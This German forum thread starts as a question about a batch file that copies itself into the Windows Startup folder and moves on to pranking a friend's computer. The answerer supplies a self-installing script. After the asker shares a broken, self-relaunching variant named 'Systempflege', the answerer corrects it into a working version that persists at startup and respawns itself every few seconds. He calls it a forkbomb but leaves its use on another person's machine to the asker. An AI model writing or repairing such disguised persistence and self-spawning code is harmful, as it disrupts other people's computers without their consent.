Wie erstelle ich eine Batch Datei die sich automatisch in den Autostartordner kopiert?
Hallo,
ich möchte eine Batch Datei erhalten die sich wenn man sie öffnet automatisch in den Autostartordner kopiert, vielleicht kennt sich ja jemand mit MS Doss aus und kann mir weiter helfen
1 Antwort
Vorwort:
MSDos hat keinen AutostartOrdner. (da werden automatisch zu startende Programme (Abläufe) in die config.sys und autoexec.bat geschrieben....
Ich nehme mal an Du verwendest nicht mehr Dos...🤪
Batch unter Windows hat nur hinsichtlich einiger Basisbefehle und -Syntaxelemente etwas mit MSDos gemeinsam. Unter Windows sollte nicht mehr die Dateiendung .bat verwendet werden, da damit der Kommandointerpreter in einen Dos-Kompatibiliätsmodus mit fehlerhaftem Errormanagemet gezwungen wird.
Unter Windows sollten Batchdateien mit der Dateiendung .cmd benannt werden!
demo.cmd
@echo off
chcp 65001 >nul
set "AutoFolders=Microsoft\Windows\Start Menu\Programs\Startup"
rem prüfe ob sich diese Batch bereits im Autostart befindet
for %%. in ("%AppData%" "%ProgramData%") do (
if "%~dp0"=="%%~.\%AutoFolders%\" goto :inAutoStart
)
:install
rem kopiere diese Batch-Datei (%~f0) in den Autostart für den aktuellen Nutzer für alle Nutzer (%ProgramData%) wären Adminrechte nötig
copy "%~f0" "%AppData%\%AutoFolders%" >nul
echo Installiert...
start "" "%AppData%\%AutoFolders%" &rem mal zur demo anzeigen (Zeile kann weg)
timeout 5 &rem 5Sekunden Pause vor dem beenden der Instalationsroutine (Zeile kann weg)
exit /b &rem hier ist der "Selbst-Installer" zu Ende
:inAutoStart
rem hier kommt alles rein was automatisch ausgeführt werden soll
echo ich bin im AutoStart
pause
Du kannst die Batch benutzen wie sie ist. Sie erkennt selbständig ob sie im Autostartordner ausgeführt wird und reagiert dann in anderer Weise, als an beliebigen anderen Orten.
Deinen aktiven Code musst Du in den Abschnitt ":inAutoStart" schreiben.
die Zeilen:
echo Installiert...
start "" "%AppData%\%AutoFolders%"
timeout 5
...dienen lediglich zum testen der Funktionsweise und können entfernt werden.
Hallo Erzesel,
Die Datei funktioniert, Danke für deinen Hilfe, mein Freund wird sich freuen. Ich möchte ihn ein bisschen ärgern. (Werde die Datei auch wieder von seinem Rechner löschen.)
Man sollte sich eine Antwort auch wirklich durchlesen (und bergreifen):
Unter Windows sollten Batchdateien mit der Dateiendung .cmd benannt werden!
demo.cmd ....
Was Deine Veränderungen in der Batch angeht:
Erstmal ist eine selbstaufrufende Batch wie die Deine (Forkbomb) nicht unbedingt nett.
So wie Du die Batch "umgeschrieben hast, würde die Forkbomb bereits bei der Installation "gezündet" (ich denke mal Du warst zu feige deine Batch, wie Du sie Hier gepostet hast selbst auf deinem Rechner zu testen)
Für den armen Nutzer, den Du mit dem Ding beglücken wolltest, ist es ein Segen, das Du keinen Ahnung von Batch hast.
Du hast die Sprungmarke :inAutoStart entfernt. Nachdem die Batch festgestellt hat, das sie sich im Autostartordner befindet, folgt das Kommando goto :inAutoStart , ...und die Batch stürzt ab, weil es diese Sprungmarke nicht gibt.
Das zu korrigieren würde jedoch auch noch nicht einen erfolgreichen Selbstaufruf erlauben.
Der Selbststart ginge auch schief, weil beim Autostart nicht der Autostartordner das aktuelle Arbeitsverzeichnis ist, sondern c:\windows\system32 ...und dort gibt es keine Datei "Systempflege.bat"
Zudem ist auch noch die Syntax des Startbefehls für Batch-Dateien falsch!
richtig:
start "" cmd /c "c:\demopfad\meine Batch.cmd"
Systempflege.cmd
@echo off
chcp 65001 >nul
set "AutoFolders=Microsoft\Windows\Start Menu\Programs\Startup"
for %%. in ("%AppData%" "%ProgramData%") do (
if "%~dp0"=="%%~.\%AutoFolders%\" goto :inAutoStart
)
:install
copy "%~f0" "%AppData%\%AutoFolders%" >nul
exit /b
:inAutoStart
echo ich bin im AutoStart
echo ich bin: "%~f0"
echo das aktuelle Arbeitsverzeichnis ist :"%cd%"
timeout 5 &rem ungezügelde Selbstaufrufe sind böse , ergo legen wir 5 Sekunden pause ein
start "" cmd /c "%~f0"
pause
Wenn Du das Ding ungezügelt auf einem Fremden Rechner anwenden möchtest ist das dein Ding.
Einige Virenscanner erkennen Forkbomben und blockieren diese.
Hallo Erzesel,
Danke dass Du dich mir geholfen hast ich habe deine Vorlage so umgeschrieben :
@echo off
chcp 65001 >nul
set "AutoFolders=Microsoft\Windows\Start Menu\Programs\Startup"
for %%. in ("%AppData%" "%ProgramData%") do (
if "%~dp0"=="%%~.\%AutoFolders%\" goto :inAutoStart
)
:install
copy "%~f0" "%AppData%\%AutoFolders%" >nul
echo Installiert...
start Systempflege.bat (ich habe diese Datei Systempflege genannt)
exit /b &rem
echo ich bin im AutoStart
pause
Die Datei wird in den Autostartordner, nur leide wird sie beim starten des Rechners nicht ausgeführt.